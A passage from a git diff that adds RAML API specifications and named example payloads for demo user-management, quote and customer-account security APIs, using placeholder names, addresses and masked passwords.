records have been accepted to be deleted later diff --git a/demo/apis/SE-11155/examples/users-action-archive-users.raml b/demo/apis/SE-11155/examples/users-action-archive-users.raml new file mode 100644 index 0000000..1b6af5c --- /dev/null +++ b/demo/apis/SE-11155/examples/users-action-archive-users.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 NamedExample +users-archive-action-request-example: + archive-location: \\DCS001AB\user-archive-folder + archive-time: 2018-08-10T13:00:00.000Z + zip-records: true \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-delete-cds-200.raml b/demo/apis/SE-11155/examples/users-delete-cds-200.raml new file mode 100644 index 0000000..f129650 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-delete-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +users-delete-200-cds-response-example: + - code: HTTP 200 + short-description: 2 user records have been deleted \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-delete-cds-202.raml b/demo/apis/SE-11155/examples/users-delete-cds-202.raml new file mode 100644 index 0000000..2718ed7 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-delete-cds-202.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +users-delete-202-cds-response-example: + - context: response + code: HTTP 202 + short-description: 2 user records have been accepted to be deleted later + - context: confirmation + code: "123456789" + short-description: confirmation of record 1 + - context: confirmation + code: 1234aaaa + short-description: confirmation of record 2 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-get-200.raml b/demo/apis/SE-11155/examples/users-get-200.raml new file mode 100644 index 0000000..62de694 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-get-200.raml @@ -0,0 +1,47 @@ +#%RAML 1.0 NamedExample +users-get-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-id: ABCD1235 + user-name: John Remedy + user-date-of-birth: 2001-11-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-id: ABCD1236 + user-name: Tim Allen + user-date-of-birth: 1981-12-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-patch-200.raml b/demo/apis/SE-11155/examples/users-patch-200.raml new file mode 100644 index 0000000..94b384f --- /dev/null +++ b/demo/apis/SE-11155/examples/users-patch-200.raml @@ -0,0 +1,32 @@ +#%RAML 1.0 NamedExample +users-patch-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-id: ABCD1235 + user-name: John Remedy + user-date-of-birth: 2001-11-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-patch-cds-200.raml b/demo/apis/SE-11155/examples/users-patch-cds-200.raml new file mode 100644 index 0000000..ed78386 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-patch-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +users-patch-200-cds-response-example: + - code: HTTP 200 + short-description: 2 user records have been updated \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-patch-cds-202.raml b/demo/apis/SE-11155/examples/users-patch-cds-202.raml new file mode 100644 index 0000000..d629b23 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-patch-cds-202.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +users-patch-202-cds-response-example: + - context: response + code: HTTP 202 + short-description: 2 user records have been accepted to be updated later + - context: confirmation + code: "123456789" + short-description: confirmation of record 1 + - context: confirmation + code: 1234aaaa + short-description: confirmation of record 2 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-patch.raml b/demo/apis/SE-11155/examples/users-patch.raml new file mode 100644 index 0000000..b319a67 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-patch.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 NamedExample +users-patch-request-example:: + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 diff --git a/demo/apis/SE-11155/examples/users-post-cds-200.raml b/demo/apis/SE-11155/examples/users-post-cds-200.raml new file mode 100644 index 0000000..c65c8cd --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-cds-200.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +users-post-200-cds-response-example: + - code: HTTP 200 + short-description: 2 user records have been created \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-post-cds-202.raml b/demo/apis/SE-11155/examples/users-post-cds-202.raml new file mode 100644 index 0000000..a21034d --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-cds-202.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +users-post-202-cds-response-example: + - context: response + code: HTTP 202 + short-description: 2 user records have been accepted to be created later + - context: confirmation + code: "123456789" + short-description: confirmation of record 1 + - context: confirmation + code: 1234aaaa + short-description: confirmation of record 2 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-post-multi-200.raml b/demo/apis/SE-11155/examples/users-post-multi-200.raml new file mode 100644 index 0000000..436c467 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-multi-200.raml @@ -0,0 +1,47 @@ +#%RAML 1.0 NamedExample +users-post-multiple-input-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-id: ABCD1235 + user-name: John Remedy + user-date-of-birth: 2001-11-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-id: ABCD1236 + user-name: Tim Allen + user-date-of-birth: 1981-12-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-post-multi.raml b/demo/apis/SE-11155/examples/users-post-multi.raml new file mode 100644 index 0000000..48ea38b --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-multi.raml @@ -0,0 +1,44 @@ +#%RAML 1.0 NamedExample +users-post-multiple-input-request-example: + - user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-name: John Remedy + user-date-of-birth: 2001-11-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 + - user-name: Tim Allen + user-date-of-birth: 1981-12-30 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-post-single-200.raml b/demo/apis/SE-11155/examples/users-post-single-200.raml new file mode 100644 index 0000000..2ea8128 --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-single-200.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample +users-post-single-input-200-response-example: + - user-id: ABCD1234 + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/examples/users-post-single.raml b/demo/apis/SE-11155/examples/users-post-single.raml new file mode 100644 index 0000000..e4d46ca --- /dev/null +++ b/demo/apis/SE-11155/examples/users-post-single.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 NamedExample +users-post-single-input-request-example: + user-name: George Castanza + user-date-of-birth: 2000-01-01 + user-address: + context: home + line1: 3388 Hamilton St + line2: Apt 1 + city: Philadelphia + state-region-code: PA + state-region-name: Pennsylvania + country: USA + postal-code: "19104" + additional-postal-code: "0388" + validity: Valid + preference-index: 3 \ No newline at end of file diff --git a/demo/apis/SE-11155/libraries/library.raml b/demo/apis/SE-11155/libraries/library.raml new file mode 100644 index 0000000..7fe0423 --- /dev/null +++ b/demo/apis/SE-11155/libraries/library.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 Library +types: + error: !include ../1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-error.raml + code-description: !include ../1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-code-description.raml + code-descriptions: code-description[] + +resourceTypes: + health-check-get: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml + applicable-to-collections: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml + applicable-to-items: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml + applicable-to-collection-actions: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml + applicable-to-item-actions: !include ../1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml + + +securitySchemes: + basic: !include ../1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml \ No newline at end of file diff --git a/demo/SE-11415/SE-11415.raml b/demo/apis/SE-11415/SE-11415.raml similarity index 100% rename from demo/SE-11415/SE-11415.raml rename to demo/apis/SE-11415/SE-11415.raml diff --git a/demo/SE-11415/canda-commons/canda-commons.raml b/demo/apis/SE-11415/canda-commons/canda-commons.raml similarity index 100% rename from demo/SE-11415/canda-commons/canda-commons.raml rename to demo/apis/SE-11415/canda-commons/canda-commons.raml diff --git a/demo/SE-11415/canda-commons/ref/log-levels-example.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-example.json similarity index 100% rename from demo/SE-11415/canda-commons/ref/log-levels-example.json rename to demo/apis/SE-11415/canda-commons/ref/log-levels-example.json diff --git a/demo/SE-11415/canda-commons/ref/log-levels-response-example.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-response-example.json similarity index 100% rename from demo/SE-11415/canda-commons/ref/log-levels-response-example.json rename to demo/apis/SE-11415/canda-commons/ref/log-levels-response-example.json diff --git a/demo/SE-11415/canda-commons/ref/log-levels-response-schema.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-response-schema.json similarity index 100% rename from demo/SE-11415/canda-commons/ref/log-levels-response-schema.json rename to demo/apis/SE-11415/canda-commons/ref/log-levels-response-schema.json diff --git a/demo/SE-11415/canda-commons/ref/log-levels-schema.json b/demo/apis/SE-11415/canda-commons/ref/log-levels-schema.json similarity index 100% rename from demo/SE-11415/canda-commons/ref/log-levels-schema.json rename to demo/apis/SE-11415/canda-commons/ref/log-levels-schema.json diff --git a/demo/SE-11415/ref/additions-example.json b/demo/apis/SE-11415/ref/additions-example.json similarity index 100% rename from demo/SE-11415/ref/additions-example.json rename to demo/apis/SE-11415/ref/additions-example.json diff --git a/demo/SE-11415/ref/additions-schema.json b/demo/apis/SE-11415/ref/additions-schema.json similarity index 100% rename from demo/SE-11415/ref/additions-schema.json rename to demo/apis/SE-11415/ref/additions-schema.json diff --git a/demo/SE-11415/ref/companies-example.json b/demo/apis/SE-11415/ref/companies-example.json similarity index 100% rename from demo/SE-11415/ref/companies-example.json rename to demo/apis/SE-11415/ref/companies-example.json diff --git a/demo/SE-11415/ref/companies-schema.json b/demo/apis/SE-11415/ref/companies-schema.json similarity index 100% rename from demo/SE-11415/ref/companies-schema.json rename to demo/apis/SE-11415/ref/companies-schema.json diff --git a/demo/SE-11415/ref/greeting-example.json b/demo/apis/SE-11415/ref/greeting-example.json similarity index 100% rename from demo/SE-11415/ref/greeting-example.json rename to demo/apis/SE-11415/ref/greeting-example.json diff --git a/demo/SE-11415/ref/greeting-schema.json b/demo/apis/SE-11415/ref/greeting-schema.json similarity index 100% rename from demo/SE-11415/ref/greeting-schema.json rename to demo/apis/SE-11415/ref/greeting-schema.json diff --git a/demo/SE-11415/ref/greetings-example.json b/demo/apis/SE-11415/ref/greetings-example.json similarity index 100% rename from demo/SE-11415/ref/greetings-example.json rename to demo/apis/SE-11415/ref/greetings-example.json diff --git a/demo/SE-11415/ref/greetings-schema.json b/demo/apis/SE-11415/ref/greetings-schema.json similarity index 100% rename from demo/SE-11415/ref/greetings-schema.json rename to demo/apis/SE-11415/ref/greetings-schema.json diff --git a/demo/SE-11415/ref/jms-message-response-exmaple.json b/demo/apis/SE-11415/ref/jms-message-response-exmaple.json similarity index 100% rename from demo/SE-11415/ref/jms-message-response-exmaple.json rename to demo/apis/SE-11415/ref/jms-message-response-exmaple.json diff --git a/demo/SE-11415/ref/log-levels-example.json b/demo/apis/SE-11415/ref/log-levels-example.json similarity index 100% rename from demo/SE-11415/ref/log-levels-example.json rename to demo/apis/SE-11415/ref/log-levels-example.json diff --git a/demo/SE-11415/ref/log-levels-response-example.json b/demo/apis/SE-11415/ref/log-levels-response-example.json similarity index 100% rename from demo/SE-11415/ref/log-levels-response-example.json rename to demo/apis/SE-11415/ref/log-levels-response-example.json diff --git a/demo/SE-11415/ref/log-levels-response-schema.json b/demo/apis/SE-11415/ref/log-levels-response-schema.json similarity index 100% rename from demo/SE-11415/ref/log-levels-response-schema.json rename to demo/apis/SE-11415/ref/log-levels-response-schema.json diff --git a/demo/SE-11415/ref/log-levels-schema.json b/demo/apis/SE-11415/ref/log-levels-schema.json similarity index 100% rename from demo/SE-11415/ref/log-levels-schema.json rename to demo/apis/SE-11415/ref/log-levels-schema.json diff --git a/demo/apis/SE-11508/SE-11508.raml b/demo/apis/SE-11508/SE-11508.raml new file mode 100644 index 0000000..e55c6d5 --- /dev/null +++ b/demo/apis/SE-11508/SE-11508.raml @@ -0,0 +1,257 @@ +#%RAML 1.0 +baseUri: /security/v1 +title: System - Security +version: v1 +mediaType: application/json + +uses: + convert-aggregator-quote-model: model-system/convert-aggregator-quote-types.raml + credentials-model: model-system/change-credentials-type.raml + retrieve-quotes-model: model-system/retrieve-quotes-types.raml + create-quote-model: model-system/create-quote-types.raml + ping-customer-accounts-model: model-system/customer-accounts-types.raml + ping-validate-credentials: model-system/ping-validate-credentials.raml + ping-error-messages: model-system/ping-error-messages-types.raml + error-model: exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/types/error.raml + +traits: + api-headers : !include model-system/api-headers.raml + api-strict-headers: !include model-system/api-strict-headers.raml + bad-responses: !include exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/traits-system/0.0.19/bad-responses.raml + + +securitySchemes: + auth: !include exchange_modules2/26d603ba-9696-4993-b97e-f568e49c27ac/securityscheme-system/0.0.4/auth.raml + +securedBy: [auth] + +/convertaggregatorquote: + post: + is: [api-headers, bad-responses] + description: Used to create a P quote from a click-through URL. + body: + application/json: + type: convert-aggregator-quote-model.AggregatorCreateQuote + responses: + 201: + body: + type: convert-aggregator-quote-model.CreatedQuote + examples: !include examples/convert-aggregator-quote-post-201.raml + +/changecredentials: + post: + is: [ api-headers, bad-responses ] + description: Used to update credentials. + body: + application/json: + type: credentials-model.UpdateCredentials + examples: !include examples/change-credentials-post-201.raml + responses: + 201: + +/retrievequotes: + post: + is: [ api-headers, bad-responses ] + description: Used to retrieve quotes for valid account. + body: + application/json: + type: retrieve-quotes-model.RetrieveQuotesRequest + responses: + 200: + body: + type: retrieve-quotes-model.RetrieveQuotesResponse + examples: !include examples/retrieve-quotes-post-200.raml + +/createquote: + post: + is: [ api-headers, bad-responses ] + description: Functional endpoint used to check if an account with a policy exists and, if it doesn't, create a new account/quote with a blank vehicle. + body: + application/json: + type: create-quote-model.CreateQuotePostRequest + examples: !include examples/create-quote-post-request.raml + responses: + 200: + description: response returned if the account matches + body: + type: create-quote-model.CreateQuotePostMatchedResponse + examples: !include examples/create-quote-post-200.raml + + 201: + description: response returned if the account has been created since it was not matching any existing one + body: + type: create-quote-model.CreateQuotePostCreatedResponse + examples: !include examples/create-quote-post-201.raml + +/validatecredentials: + post: + is: [api-strict-headers] + description: used to validate the user credentials (email and password). The successful response includes all the customer accounts that match the email where one of them also has the same password as the one passed in. It will also return a ping user id if one is associated with any customer accounts in disc. + + body: + properties: + email: + type: string + required: true + maxLength: 50 + pattern: ^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b$ + password: + type: string + required: true + + example: + email: "jsmith@provider.com" + password: "XXXXXXXX" + + responses: + 200: + description: the customer accounts that match the email where one of them also has the same password as the one passed in, plus a ping user id if one is associated with any customer accounts in DISC + body: + type: ping-validate-credentials.PingValidateCredentialsResponse[] + examples: !include examples/validate-credentials-post-200.raml + + 400: + description: Bad request with empty body if the RAML contract is violated. Otherwise specific error messages will be returned + body: + type: ping-error-messages.PingErrorMessagesResponse + example: + messages: + - # match not found + code: "BGLXXXX" + description: "Could not validate email and password" + + 500: + description: Internal Server Error + + +/validatecustomeraccounthash: + post: + is: [api-strict-headers, bad-responses] + description: used after a sales journey to verify if the customer account exists, so it can then be registered in ping. + + body: + application/json: + properties: + encryptedHash: + type: string + required: true + examples: !include examples/validate-customer-account-hash-post-request.raml + + responses: + 200: + description: the list of the matched customer accounts + body: + type: ping-customer-accounts-model.ValidateCustomerAccountMatchedResponse + examples: !include examples/validate-customer-account-post-200.raml + + 400: + description: Bad Request if the hash cannot be decrypted or the timestamp is out of date + body: + application/json: + type: error-model.Error + examples: !include examples/validate-customer-account-hash-post-400.raml + + +/customeraccounts: + get: + is: [api-strict-headers] + description: used to retrieve the list of the Customer Accounts filtered by email address. This API is used as part of the registration flow to identify any other accounts associated with the email so they can be synched with the PING registry. + + queryParameters: + emailaddress: + type: string + required: true + maxLength: 50 + pattern: ^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b$ + example: "hello@provider.co.uk" + + responses: + 200: + description: the list of the matched customer accounts + body: + type: ping-customer-accounts-model.PingCustomerAccount[] + examples: !include examples/customer-accounts-get-200.raml + + 400: + description: Bad request + + 500: + description: Internal Server Error + + + /{customeraccountid}: + uriParameters: + customeraccountid: + type: string + minLength: 9 + maxLength: 9 + example: "123456789" + + patch: + is: [ api-strict-headers , bad-responses ] + description: This is used to sync disc with the ping user id and sync all customer accounts to the same email and password. Ping will be required to call this for each customer account id. + body: + type: ping-customer-accounts-model.PatchPingCustomerAccountRequest + examples: !include examples/customer-accounts-patch-request.raml + + responses: + 204: + description: Success. PING user id, email, password where updated. + + /initialregistration: + post: + is: [ api-strict-headers , bad-responses ] + description: This is to perform the initial registration of the customer account. This API is used as part of the registration process to setup any new customer in the OLSS system. If the customer is already setup in OLSS then this service will return success. + body: + properties: + encryptedPassword: + type: string + required: true + example: "XXXXX" + + responses: + 200: + description: Success. The account was created or already existed in OLSS. + + /sendcorrespondence: + post: + is: [ api-strict-headers , bad-responses ] + description: used as part of the registration process to inform the disc system to send emails to the customer. These emails are use to confirm things like registration was successful. + body: + properties: + correspondenceTypeCode: + type: + enum: [ registration-confirmation, forgotten-password, password-reset-confirmation, change-password-confirmation, change-email-confirmation, email-verification ] + required: true + callbackUrl: + type: string + required: false + + examples: !include examples/send-correspondence-post-request.raml + responses: + 200: + description: Success. Email sent. + + /validate: + post: + is: [api-strict-headers, bad-responses] + description: This API is used to verify if the customer account + body: + application/json: + type: ping-customer-accounts-model.ValidateCustomerAccountMatchedRequest + examples: !include examples/validate-customer-account-post-request.raml + responses: + 200: + description: response returned if the account matches + body: + type: ping-customer-accounts-model.ValidateCustomerAccountMatchedResponse + examples: !include examples/validate-customer-account-post-200.raml + + 400: + description: Bad request + body: + application/json: + type: error-model.Error + examples: !include examples/validate-customer-account-post-400.raml + + diff --git a/demo/apis/SE-11508/examples/change-credentials-post-201.raml b/demo/apis/SE-11508/examples/change-credentials-post-201.raml new file mode 100644 index 0000000..0d8d9b1 --- /dev/null +++ b/demo/apis/SE-11508/examples/change-credentials-post-201.raml @@ -0,0 +1,9 @@ +#%RAML 1.0 NamedExample + +updateCredentials: + displayName: Update Credentials + value: + encryptedPassword : "xxxxxxx" + newEncryptedPassword : "xxxxx" + newUserName : "test@email.com" + \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/convert-aggregator-quote-post-201.raml b/demo/apis/SE-11508/examples/convert-aggregator-quote-post-201.raml new file mode 100644 index 0000000..1b4fa16 --- /dev/null +++ b/demo/apis/SE-11508/examples/convert-aggregator-quote-post-201.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 NamedExample + +no-match-customer: + displayName: A to P quote without matched Customer + value: + referenceId: "P8T000027" + quoteId: "P8T000027-01" + source: "moneysupermarket" + existingCustomer: false + +match-customer: + displayName: A to P quote with matched Customer + value: + referenceId: "118806474" + source: "Compare the Market" + existingCustomer: true + title: "Mr" + firstName: "Test" + lastName: "Name" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/create-quote-post-200.raml b/demo/apis/SE-11508/examples/create-quote-post-200.raml new file mode 100644 index 0000000..c4e576f --- /dev/null +++ b/demo/apis/SE-11508/examples/create-quote-post-200.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 NamedExample + +createQuotePostMatchedExample: + displayName: An example of the POST Response for createquote, when the account matches the one in the request + value: + customerAccountId: "WES456789" + quoteId: "WES456789-01" + titleCode: "MR" + title: "Mr" + firstName: "John" + lastName: "Doe" + existingCustomer: true \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/create-quote-post-201.raml b/demo/apis/SE-11508/examples/create-quote-post-201.raml new file mode 100644 index 0000000..ca9bb43 --- /dev/null +++ b/demo/apis/SE-11508/examples/create-quote-post-201.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 NamedExample + +createQuotePostCreatedExample: + displayName: An example of the POST Response for createquote, when the account has been created + value: + customerAccountId: "WES456789" + quoteId: "WES456789-01" + existingCustomer: false \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/create-quote-post-request.raml b/demo/apis/SE-11508/examples/create-quote-post-request.raml new file mode 100644 index 0000000..a52a52b --- /dev/null +++ b/demo/apis/SE-11508/examples/create-quote-post-request.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 NamedExample + +createQuotePostRequestExample: + displayName: An example of the POST Request for createquote + value: + titleCode: "MR" + firstName: "John" + lastName: "Doe" + dateOfBirth: "2001-01-01" + maritalStatusCode: "M" + addressLine1: "Dun-roamin" + addressLine2: "1 Back Gate" + addressLine3: "Victoria St" + addressLine4: "Spalding" + addressLine5: "Lincolnshire" + postCode: "PE11 1EA" + maskCode: "ABC" + product: "Car" + clientId: "5656565656565" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/customer-accounts-get-200.raml b/demo/apis/SE-11508/examples/customer-accounts-get-200.raml new file mode 100644 index 0000000..d6ffdea --- /dev/null +++ b/demo/apis/SE-11508/examples/customer-accounts-get-200.raml @@ -0,0 +1,41 @@ +#%RAML 1.0 NamedExample + +multiple_customer_accounts_list_all_olss_registered: + displayName: GET response example with multiple customer accounts found + value: + - #1st element + id: "123456789" + dateOfBirth: "1970-01-01" + olssRegistered: true + - #2nd element + id: "123456799" + dateOfBirth: "1970-01-01" + olssRegistered: true + +multiple_customer_accounts_list_all_non_olss_registered: + displayName: GET response example with multiple customer accounts found + value: + - #1st element + id: "123456789" + dateOfBirth: "1970-01-01" + olssRegistered: false + - #2nd element + id: "123456799" + dateOfBirth: "1970-01-01" + olssRegistered: false + +multiple_customer_accounts_list_mixed: + displayName: GET response example with multiple customer accounts found + value: + - #1st element + id: "123456789" + dateOfBirth: "1970-01-01" + olssRegistered: true + - #2nd element + id: "123456799" + dateOfBirth: "1970-01-01" + olssRegistered: false + +empty_customer_accounts_list: + displayName: GET response example with no customer accounts found + value: [] \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/customer-accounts-patch-request.raml b/demo/apis/SE-11508/examples/customer-accounts-patch-request.raml new file mode 100644 index 0000000..93e96d9 --- /dev/null +++ b/demo/apis/SE-11508/examples/customer-accounts-patch-request.raml @@ -0,0 +1,31 @@ +#%RAML 1.0 NamedExample + +userId_only_request: + displayName: PATCH Request with only userId + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + +userId_and_email_request: + displayName: PATCH Request with userId and email + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + email: "jsmith@provider.com" + +userId_and_encryptedPassword_request: + displayName: PATCH Request with userId and encryptedPassword + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + encryptedPassword: "XXXXXXXX" + +userId_email_and_encryptedPassword_request: + displayName: PATCH Request with email and encryptedPassword + value: + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + email: "jsmith@provider.com" + encryptedPassword: "XXXXXXXX" + +email_and_encryptedPassword_request: + displayName: PATCH Request with email and encryptedPassword + value: + email: "jsmith@provider.com" + encryptedPassword: "XXXXXXXX" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/retrieve-quotes-post-200.raml b/demo/apis/SE-11508/examples/retrieve-quotes-post-200.raml new file mode 100644 index 0000000..1588a8f --- /dev/null +++ b/demo/apis/SE-11508/examples/retrieve-quotes-post-200.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample + +validCredentials: + displayName: Valid Credentials Api Customer + value: + customerAccountId : "123456789" + quoteId : "TED456789-01" + isTE : true + affinityCode : "BIS1" + +validCredentialsOLSS: + displayName: Valid Credentials OLSS + value: + customerAccountId : "123456789" + quoteId : "123456789-01" + isTE : false + affinityCode : "BIS1" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/send-correspondence-post-request.raml b/demo/apis/SE-11508/examples/send-correspondence-post-request.raml new file mode 100644 index 0000000..556ad23 --- /dev/null +++ b/demo/apis/SE-11508/examples/send-correspondence-post-request.raml @@ -0,0 +1,34 @@ +#%RAML 1.0 NamedExample + +registration_confirmation_with_no_callback_request: + displayName: POST Request where correspondence is of type "registration-confirmation" with no callback URL. + value: + correspondenceTypeCode: "registration-confirmation" + +forgotten_password_with_callback_request: + displayName: POST Request where correspondence is of type "forgotten-password" and a callback URL is provided. + value: + correspondenceTypeCode: "forgotten-password" + callbackUrl: "http://pingurl/forgottenpassword" + +password_reset_confirmation_with_callback_request: + displayName: POST Request where correspondence is of type "password-reset-confirmation" and a callback URL is provided. + value: + correspondenceTypeCode: "password-reset-confirmation" + callbackUrl: "http://pingurl/resetpassword" + +change_password_confirmation_with_no_callback_request: + displayName: POST Request where correspondence is of type "change-password-confirmation" and no callback URL. + value: + correspondenceTypeCode: "change-password-confirmation" + +change_email_confirmation_with_no_callback_request: + displayName: POST Request where correspondence is of type "change-email-confirmation" and no callback URL. + value: + correspondenceTypeCode: "change-email-confirmation" + +email_verification_with_callback_request: + displayName: POST Request where correspondence is of type "email-verification" and a callback URL. + value: + correspondenceTypeCode: "email-verification" + callbackUrl: "http://pingurl/emailverified" \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/validate-credentials-post-200.raml b/demo/apis/SE-11508/examples/validate-credentials-post-200.raml new file mode 100644 index 0000000..9a3a3d1 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-credentials-post-200.raml @@ -0,0 +1,30 @@ +#%RAML 1.0 NamedExample + +no_ping_userId_and_multiple_customer_returned_example: + displayName: Validate Credentials successful response with no userId + value: + - #1st entry + customerAccountId: "123456789" + passwordMatched: true + - #2nd entry + customerAccountId: "123456799" + passwordMatched: true + +ping_userId_and_one_customer_returned_example: + displayName: Validate Credentials successful single response with userId + value: + - #1st entry + customerAccountId: "123456789" + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + passwordMatched: false + +ping_userId_and_multiple_customer_returned_example: + displayName: Validate Credentials successful multiple response with one userId + value: + - #1st entry + customerAccountId: "123456789" + userId: "3141933d-1ed3-40e6-bff8-5c9a4ad10ac4" + passwordMatched: true + - #2nd entry + customerAccountId: "123456799" + passwordMatched: false \ No newline at end of file diff --git a/demo/apis/SE-11508/examples/validate-customer-account-hash-post-400.raml b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-400.raml new file mode 100644 index 0000000..bb61759 --- /dev/null +++ b/demo/apis/SE-11508/examples/validate-customer-account-hash-post-400.raml @@ -0,0 +1,10 @@ +#%RAML 1.0 NamedExample + 